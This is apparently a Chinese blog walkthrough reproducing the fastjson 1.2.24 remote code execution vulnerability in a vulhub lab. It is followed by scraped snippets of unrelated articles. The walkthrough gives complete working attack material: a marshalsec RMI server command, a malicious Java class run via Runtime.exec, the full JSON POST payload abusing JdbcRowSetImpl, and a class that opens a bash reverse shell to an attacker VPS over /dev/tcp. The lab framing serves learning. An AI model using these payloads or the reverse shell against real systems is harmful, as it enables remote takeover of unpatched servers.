漏洞复现-fastjson1.2.24-RCE

news2025/2/24 12:01:38

0x00 实验环境

攻击机:Win 10、Win Server2012 R2(公网环境,恶意java文件所在服务器)

靶机也可作为攻击机:Ubuntu18 (公网环境,docker搭建的vulhub靶场)(兼顾反弹shell的攻击机)

0x01 影响版本

fastjson<=1.2.24

0x02 避坑指南

(1)Ubuntu18开启恶意加载RMI的java环境需要为低版本1.8的任意版本

(2)确保清楚知道自己在做什么

(3)python的简易网站使用的python版本为2.X(python -m SimpleHTTPServer 6666),3.X可直接使用

python -m http.server 6666

0x03 实验步骤

首先,进入靶场环境,我们可以看到这个漏洞平台:

 

以上为普通的json格式的数据上传

我们应该做的第一件事是判断该网站是否存在fastjson漏洞,这个我暂时还没研究出来,先复现一下吧。

首先第一件事就是要准备好实验环境:假设我的攻击主机使用的是一台,那么,这个逻辑是:

Ubuntu的8090端口存放靶场

Ubuntu的4444端口使用python开启一个简易的web站点(实验中我并未使用这个方法,而是直接使用了另一台在公网上的win server 2012R2的服务器搭建的web)

Ubuntu的2333端口监听反弹过来的shell 

还有一个比较重要的问题就是,攻击思路为:使用Ubuntu的java加载一个调用恶意文件的环境,再使用该环境远程加载一个恶意类,达到借刀进行命令执行的效果。

思路理清了我们就正式开始此次复现。

(1)在以下链接下载marshalsec辅助开启JAVA RMI环境:

地址:git clone https://github.com/mbechler/marshalsec

(2)由于我的Ubuntu为最新18版本,内置的java环境为11,因此在复现过程中无法成功开启rmi服务,你可以先使用以下Tips安装java1.8环境:

Tips:安装好1.8版本的java后(具体请参考网上的其他java环境安装教程),替换java的环境:

update-alternatives --config java

ubuntu如何安装配置JDK1.8:

 ubuntu如何安装配置JDK1.8-百度经验

(3)由于我的环境已经安装好恶意调用java的RMI服务,因此这里仅提供以下编译环境的命令,编译成功会出现绿色的"BUILD SUCCESS"字样:

mvn clean package -DskipTests

(4)安装完成好后,新建一个java脚本,命名为TouchFile.java,这个文件的作用大致就是使用java创建一个文件,如下为其所有代码,本意为在靶场的tmp目录下创建一个名为success的文件:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

(5)在此之前,我需要说明的是,实验我已经复现成功了,所以我已经先把success的文件做删除,这里证明一下。使用以下命令进行docker容器:

 然后进入到tmp目录下查询success的文件并将其删除:

(6)开始复现,在我的Win Server2012 R2上搭建一个web服务,将上述的java文件编译好后放入跟目录:

java编译.class的命令为:

javac TouchFile.java

 (7)然后我们在自己的服务上,进入到自己下载的辅助搭建RMI服务的工具的target目录内:marshalsec/target/。存在以下两个可以调用开启RMI服务的jar包

使用以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP/#TouchFile" 9999

这里的vpsIP是指你的公网的开启web后放入TouchFile.class的那台服务器。本意为,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件。

(8)刷新靶场的链接,抓包后改GET包为POST包,然后在发送的请求数据包中输入以下payload:

 payload:

POST / HTTP/1.1
Host: IP:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://IP:9999/TouchFile",
        "autoCommit":true
    }
}

在docker的靶场环境内,成功执行创建文件的命令:

反弹shell的步骤仅仅是照葫芦画瓢,修改.java的恶意加载文件,恶意java文件修改为反弹shell的命令,然后编译为.class,然后传到web站点:

重要的payload放置如下:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();


String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

 反弹成功:

0x04 实验原理

fastjson版本:1.2.22-1.2.24。这些版本的fastjson未对@type中加载进的类进行过滤,导致的这一版漏洞。

主要由于利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,这个类的构造函数是我们可控的,就能rce

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/690892.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

创造与布局:剖析 Java 对象创建过程以及内存布局

目录 前言创建对象过程对象布局普通对象数组对象如何观察 Object 大小对象头组成部分 对象如何定位对象如何分配总结 前言 上下文提及到了类的加载过程&#xff0c;详细介绍了加载类的每个阶段&#xff1a;Loading、Linking、Initialize&#xff0c;在其中也说明了静态变量赋…

【无标题】asdasd

【4】Ubuntu网络图标消失 sudo service network-manager stop ----->停止网络服务 sudo rm /var/lib/NetworkManager/NetworkManager.state ----->删除配置文件 sudo service network-manager start ----->重启网络服务 sudo vim /etc/NetworkManager/NetworkMana…

Linux RPM包安装、卸载和升级(rpm命令)详解

下面讲解一下&#xff0c;如何使用 rpm 命令对 RPM 二进制包进行安装、卸载和升级操作。我们以安装 apache 程序为例。 RPM包默认安装路径 通常情况下&#xff0c;RPM 包采用系统默认的安装路径&#xff0c;所有安装文件会按照类别分散安装到下表所示的目录中。 RPM 包默认安…

Mybatis实现品牌数据的增删改查

项目目录如下图所示。Mapper包用于存储对数据库进行操作的Mapper接口文件&#xff0c;本文中通过注释的方式对sql语句进行编写。pojo包中存放实体类文件&#xff0c;文件中包含Brand对象相关字段的定义以及get、set、toString方法。service包中存放service层文件&#xff0c;调…

最优化方法(基于lingo)之 整数规划问题求解(3/6)

一、实验目的&#xff1a; 1. 掌握分支定界法原理。整数规划求解的分枝定界法&#xff0c;首先确定目标函数的一个初始上下界&#xff0c;然后通过逐步分支使上界减小&#xff0c;下界增大&#xff0c;直到两者相等时&#xff0c;就求出了最优值和最优解。 2. 掌握用数学软件求…

pdf可以转excel格式吗?分享两个快速转换方法给大家!

PDF文档常用于存储和共享信息&#xff0c;但在需要编辑或分析数据时&#xff0c;将PDF转换为Excel格式是一个常见需求。本文将向您介绍两种快速转换PDF为Excel格式的方法&#xff0c;让您轻松解决数据提取难题。无论您是处理大量数据还是需要转换复杂表格&#xff0c;这些方法都…

Ubuntu安装和配置ssh保姆教程

配置ssh常常遇到一些问题&#xff0c;接下来是避免踩坑&#xff0c;快速配置ssh 相信大家在设置ssh时&#xff0c;会碰到"Permission denied, please try again." ⚠️敲黑板&#xff1a; 有可能是密码输入错误 有可能是防火墙未关闭 有可能是连接机器的root用户没…

spring boot使用swagger简明笔记

1、什么是swagger swagger就是一个在你写接口的时候自动帮你生成接口文档的东西&#xff0c;只要你遵循它的规范并写一些接口的说明注解即可。 本文springboot版本&#xff1a;2.5.6 2、引入依赖 <!-- swagger --><dependency><groupId>io.springfox</gr…

【论文阅读】Level-S2fM:神经隐式表面水平集上的SfM

【论文阅读】Level-S2fM&#xff1a;神经隐式表面水平集上的SfM Abstract1. Introduction2. Related Works2.1. Structure from Motion2.2. Neural Implicit Representation for 3D Scene 3. Preliminaries3.1. Neural Implicit Surface Rendering3.2. Ray Sampling and Sphere…

JavaScript—DomApi

DomApi &#x1f50e;Dom&#x1f50e;Dom树&#x1f50e;Dom—querySelector(获取元素)&#x1f50e;事件事件的三要素 &#x1f50e;操作元素获取 / 修改元素内容获取 / 修改元素属性获取 / 修改表单元素属性获取 / 修改样式属性修改内联样式修改元素应用的 CSS 类名 &#x…

Scrapy框架--settings配置 (详解)

目录 settings配置 官网-参考配置 配置文档 Scrapy默认BASE设置 settings配置 Scrapy框架中的配置文件&#xff08;settings.py&#xff09;是用来管理爬虫行为和功能的关键部分。它是一个Python模块&#xff0c;提供了各种配置选项&#xff0c;可以自定义和控制爬虫的行为。…

02【存储引擎、索引】

文章目录 一、存储引擎1.1 查看存储引擎1.2 修改默认存储引擎1.3 常见存储引擎1.4 存储引擎的特点1.4.1 InnoDB 存储引擎1.4.2 MyISAM 存储引擎1.4.2.1 MyISAM与InnoDB对比1.4.2.2 批量插入性能测试1.4.2.3 MyISAM压缩表 1.4.3 Merge 存储引擎1.4.4 Memory 存储引擎 二、索引2.…

kafka入门,发送原理和生产者重要参数(三)

发送原理 在消息发送过程中&#xff0c;涉及两个线程&#xff0c;main线程和Sender线程。在main线程中创建了一个双端队列&#xff0c;RecordAccumulator,Sender过程不断从RecordAccumulator中拉取消息发送到Kafka Broker batch size:只有数据累计到batch.size之后&#xff0…

C++ 哈希思想应用 位图 布隆过滤器 海量数据处理

文章目录 问题引入位图&#xff08;附C模拟实现源码&#xff09;布隆过滤器&#xff08;附C模拟实现源码&#xff09; 问题引入 问题&#xff1a; 给40亿个不重复的无符号整数&#xff0c;没排过序。给一个无符号整数&#xff0c;如何快速判断一个数是否在这40亿个数中。 问题…

连续6年霸榜全球工作站市场,Dell Precision凭什么?

前段时间&#xff0c;IDC发布2022 Q4工作站市场报告&#xff0c;戴尔拿下2022年工作站市场出货量和行业占比的双料冠军&#xff0c;且成为全年唯一一家份额增长的供应商。 至此&#xff0c;Dell Precision已连续6年蝉联世界第一。 根据IDC发布的2022年第四季度全球工作站追踪…

第四十章 开发Productions - ObjectScript Productions - 定义企业消息库

文章目录 第四十章 开发Productions - ObjectScript Productions - 定义企业消息库概述定义 Message Bank服务器添加Message Bank Helper类关于Message Bank的注意事项 第四十章 开发Productions - ObjectScript Productions - 定义企业消息库 概述 Enterprise Message Bank …

初识运营,明晰运营的学习路径

关于运营的思考 问题1&#xff1a;运营是什么&#xff1f;运营到底是做什么工作的&#xff1f; 如题&#xff1a;到底什么是运营&#xff1f;为什么我们所接触到的很多运营都不太一样&#xff0c;有的运营就是每天追寻互联网热点&#xff0c;加班加点的写文案&#xff1b;有的…

考研算法32天:桶排 【桶排序】

算法介绍 桶排 举个例子&#xff0c;一个数组中的数是&#xff1a;4 1 2 3 5&#xff0c; 然后桶排的顺序是&#xff1a;将每个数应该在的下标算出来&#xff0c;咋算呢&#xff1f;这我们就得考虑两种情况&#xff1a;假设我们设现在这个需要找到自己在数组里位置的数是x。…

自学黑客(网络安全),一般人我劝你还是算了吧(自学网络安全学习路线--第七章 数据库安全)【建议收藏】

文章目录 一、自学网络安全学习的误区和陷阱二、学习网络安全的一些前期准备三、自学网络安全学习路线一、数据库安全概述1、数据库的安全特性 二、数据库中的数据保护2、数据库加密3、数据库完整性保护 三、数据备份与恢复1、数据库备份2、数据库恢复 四、SQL Servre数据库安全…

vue写法——使用js高阶函数实现多条件搜索功能

&#x1f642;博主&#xff1a;爱学习的Akali king &#x1f642;本文核心&#xff1a;vue写法——使用js高阶函数实现多条件搜索功能 目录 类比一下react写法用vue写法来实现&#xff0c;思路步骤&#xff1a;第一步&#xff1a;准备数据第二步&#xff1a;根据数据结构渲染Do…